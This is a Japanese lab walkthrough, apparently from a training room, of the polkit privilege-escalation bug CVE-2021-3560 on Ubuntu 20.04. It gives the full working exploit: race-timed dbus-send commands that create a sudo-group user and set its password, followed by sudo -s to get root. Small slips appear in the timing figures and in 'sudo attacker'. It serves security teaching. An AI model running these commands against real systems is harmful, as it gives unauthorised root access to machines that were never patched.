
2021年初頭、研究者のKevin Backhouse氏がLinux polkitユーティリティにおいて7年前の特権昇格の脆弱性(以降CVE-2021-3560として指定)を発見しました。幸い、Linuxの各ディストリビューション(および同じディストリビューションの異なるバージョン)は異なるバージョンのソフトウェアを使用しているため、脆弱性があるのは一部のみです。
具体的には、以下の主要なディストリビューションが脆弱でした(他にもあります):
Red Hat Enterprise Linux 8 Fedora 21(以降) Debian Testing("Bullseye") Ubuntu 20.04 LTS("Focal Fossa") 現在はそれぞれのpolkitパッケージの修正版がリリースされているはずですが、これらのディストリビューションに遭遇した場合、しばらく更新されていないとまだ脆弱な可能性があります。
このルームでは特にUbuntu 20.04に焦点を当てます。Canonicalは自社版のpolkit (policykit-1) に対してパッチをリリースしており、そのバージョン番号は 0.105-26ubuntu1.1 です。Focal Fossaのaptリポジトリで利用可能な最後の脆弱なバージョンは 0.105-26ubuntu1 です。したがって、これが表示されれば運が良いかもしれません!
インストールされているpolkitのバージョンを確認するには、apt list --installed | grep policykit-1 を使用できます。
ここで当然の疑問は「Polkitとは何か?」です。
PolkitはLinuxの認証システムの一部です。実際には、より高い権限レベルを必要とする操作を実行しようとするとき、ポリシーツールキットを使用して適切な権限を持っているかどうかを判断できます。systemdと統合されており、従来のsudoシステムよりもはるかに設定が柔軟です。実際、「systemdのsudo」と呼ばれることもあります。
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1
このコマンドは、手動でdbusメッセージをaccountsデーモンに送信し、応答を表示して、"attacker" (string:attacker) という新しいユーザーを作成し、説明を"Pentester Account" (string:"Pentester Account") とし、sudoグループへの所属をtrue(int32:1 フラグで参照)に設定します。
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUSER_ID org.freedesktop.Accounts.User.SetPassword string:'PASSWORD_HASH' string:'Ask the pentester'
これもdbusメッセージをaccountsデーモンに送信し、指定したID(赤で表示)のユーザーのパスワード変更を要求します。手動で生成する必要のあるパスワードハッシュと、ヒント("Ask the pentester")が必要です。
これは実質的に競合状態であるため、まずコマンドの実行にかかる時間を測定する必要があります。最初のdbusメッセージで試してみましょう:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1
例:
real 0m0.11s
user 0m0.002s
sys 0m0000s
これは0.011秒、つまり11ミリ秒かかります。この数値はコマンドを実行するたびに多少異なりますが、提供されたマシンでは常にこの程度になります。
コマンドの実行中、おおよそ半分の時点で強制終了する必要があります。提供されたマシンでは通常5ミリ秒でうまくいきます。ただし、これは正確なものではないことに注意してください。スリープ時間を変更したり、成功するまでコマンドを数回実行する必要があるかもしれません。とはいえ、一度有効な時間が見つかれば、一貫して動作するはずです。適切な時間を見つけるのに苦労している場合は、コマンドをbashのforループに入れて、さまざまな時間を素早く試すと効果的です。
試してみましょう。dbusメッセージを送信し、約半分の時点で強制終了します:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!
上記のコマンドの説明:dbusメッセージをバックグラウンドジョブとして送信し(アンパサンドでコマンドをバックグラウンド実行)、その後5ミリ秒スリープし(sleep 0.005s)、前のプロセスを強制終了します($!)。これにより新しいユーザーが正常に作成され、sudoグループに追加されました。
ここで、このインスタンスの新しいユーザーのユーザーIDは1000であることに注意してください。
id attacker
あとはユーザーにパスワードを設定すれば完了です!
ここでパスワードハッシュが必要です。選択したパスワード(Expl01ted)のSha512Cryptハッシュを生成しましょう:
openssl passwd -6 Expl01ted
opensslを使用して、タイプ6(SHA512-crypt)のパスワードとプレーンテキストのパスワード(Expl01ted)を生成します。
それでは仕上げましょう!前回5ミリ秒でうまくいったので、ここでも同じで大丈夫でしょう:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
sudo attacker
sudo -l
sudo -s
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#about